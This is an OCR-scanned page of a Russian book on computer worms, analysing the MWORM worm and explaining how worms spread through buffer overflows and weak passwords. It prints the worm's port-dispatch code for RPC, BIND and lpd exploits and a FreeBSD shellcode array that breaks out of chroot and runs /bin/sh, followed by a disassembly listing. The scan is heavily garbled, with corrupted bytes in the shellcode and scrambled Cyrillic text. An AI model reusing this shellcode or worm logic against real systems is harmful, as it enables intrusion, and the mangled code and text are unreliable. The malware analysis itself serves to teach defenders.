Раздел: Документация
0 ... 28 29 30 31 32 33 34 ... 102
LINUX - sys sigprocmask Продолжение & sssssssss-s--—- } break: 122- //,rPc hole cdSeif (Handle Port STATUS(sock.inet ntoa(sin.sin addr).Iptr)) { pthreadjnutex lock(&ndone mutex): // rpcSTATUS vuln( inet ntoa(sin.sin addr). Iptr): pthread mutex unlock(&ndone mutex): } break: case 53: //linux bind hole // Check Linux86 BindCsock.inet ntoa(sin.sin addr).Iptr->h network): break: case 515: //linux lpd hole // Get OS Type(Iptr->h network. inet ntoa(sin.sin addr)): // Chock lpd(sock.inet ntoa(sin.sin addr).Iptr->h network): break: default: break: } Перед нами «шея» червя, которая, собственно, все эти головы и держит, совершая ими вращательные движения, при необходимости изрыгая огонь и пламя... А голова червя и ее дизассемблерный листинг показаны далее (листинги 3.2 и 3.3). Листинг 3.2. Одна из голов червя MWORM и ее дизассемблерный листинг /* break chroot and exec /bin/sh - dont use on an unbreakable host like 4.0 */ unsigned char x86 fbsd shell chroot[) = "\x31\xc0\x50\x50\x50\xbO\x7e\xcd\x80" "\x31\xc0\x99" "\x6a\x68\x89\xe3\x50\x53\x53\xb0\x88\xcd" "\xS0\x54\x6a\x3d\x58\xcdU80\x66\x68\x2e\x2e\x88\x54" "\x24\x02\x89\xe3\x6a\x0c\x59\x89\xe3\x6a\x0c\x58U53" "\x53\xcd\x80\xe2\xf Ax88\x54\x24\x01\x54\x6a\x3d\x58" "\xcd\x80\x52\x68\x6e\x2f\x73\x68\x44\x68\x2f\x62\x69" "\x6e\x89\xe3\x52Vx89\xe2\x53\x89\xel\x52\x51\x53\x53" "\x6a\x3b\x58\xcd\x80\x31\xc0\xfe\xc0\xcd\x80": Листинг 3.3. Дизассемблерный листинг одной из голов червя MWORM 102 Глава 3. Жизненна Листинг 3.3 {продолжение)
.data:0804F80C .data:0804F80C 1oc 804F80C .data:0804F8CC .data:08C4F80E .data:0804F8GF .data:0804F810 data:0804r811 .data:0804F813 .data:0804F815 .data:D804F819 .data:0804F81A -data:0804F81C .data:0804F81D .cata:0804F81F .data:0804F820 .data:0804F825 .data:0804F826 .data:0804F82B .data:0804-82D .data.C804F82E .data:0804F830 .data:0804F831 data:0804833 -data:0804F834 .data:0804F835 data:0804F836 .data:0804F837 data:0804F839
: LINUX - sys personality LINUX - sys chroot dl ; CODE XREF: .data:0804F813j LINUX - sys chdir dl LINUX - sys chroot "int 80h: LINUX - sys olduname ta;080b*.nt g0h. UNUX ex.t data:0804F840 МЕХАНИЗМЫ РАСПРОСТРАНЕНИЯ ЧЕРВЕЙ ми принято называть логические ошибки в профаммном обеспечении, в ре-Дырами торЫХ ЖСрТВа приобретает возможность интерпретировать исходные * шик1 как исполняемый код. Наиболее часто встречаются дыры двух следующих tiiiiob" ошибки переполнения буфера (buffer overflow) и ошибки фильтрации интерполяционных символов или символов-спецификаторов. И хотя теоретики от безопасности упорно отмахиваются от дыр, как от досадных случайностей, нарушающих стройность воздушных замков абстрактных защитных систем, даже поверхностный анализ ситуации показывает, что ошибки проектирования и реализации носят сугубо закономерный характер, удачно обыгранный хакерами в пословице: «Программ без ошибок не бывает. Бывает - плохо искали». Особенно коварны ошибки переполнения, вызываемые (или даже можно сказать — провоцируемые) идеологией господствующих языков и парадигм программирования. Подробнее об этом мы поговорим в следующей главе; пока же отметим, что ни одна коммерческая программа, насчитывающая более десяти-ста тысяч строк исходного текста, не избежала ошибок переполнения. Через ошибки переполнения распространялись черви Морриса, linux.Ramen, MWorm, Code Red, Slapper, Slammer, Love San и огромное множество остальных менее известных вирусов. Список свежих дыр регулярно публикуется на ряде сайтов, посвященных информационной безопасности (крупнейший из которых — www.bugtraq.org) и на неде"СТ)аНИЧКаХ отделышх хакеров. Заплатки на дыры обычно выходят спустя кот ЛЮ ИЛИ даже месяН после появления открытых публикаций, однако в не-Рошего °Лчаях ВЬ1Х°Д заплатки опережает публикацию, так как правила хо-Дотогс)ТОНа Д,1КТУЮТ воздерживаться от распространения информации вплоть поиск П°Ка пРОТивояДие не будет найдено. Разумеется, вирусописатели ведут °ДНойДЫ) И самостоягелЬ11°, однако за все время существования Интернета ни С1абыДЫры ими найдено не было. аНекдот-П р*ОЛИ ~ ЭТ0 насТ0ЯЩий бич всякой системы безопасности. Помните w°rd»He Кажи пароль! — Пароль!»? Шутки шутками, но пароль типа «pass-Mkl ПопудТаК и °РИгинален. Сколько пользователей доверяют защиту систе-ц,евалс м Словарным словам (в стиле Супер-Ниндзя, Шварценеггер-Раз-пРедставюИ ШваРценеггер-Пр одолжает-Бушевать) или выбирают пароль, Н°й ДВуМя Щи" бой слегка модифицированный логин (например, логин с од-дДНи*Циф ШФРами иа конце)? Про короткие пароли, пароли, состоящие из ,. bejlb Нема!И Пароли полностью совпадающие с логином, мы вообще молчим. П,у°Тдаасе10е КОличество систем вообще не имеют никакого пароля! Суще-СПеЦиальные программы для поиска открытых (или слабо защи- 0 ... 28 29 30 31 32 33 34 ... 102
|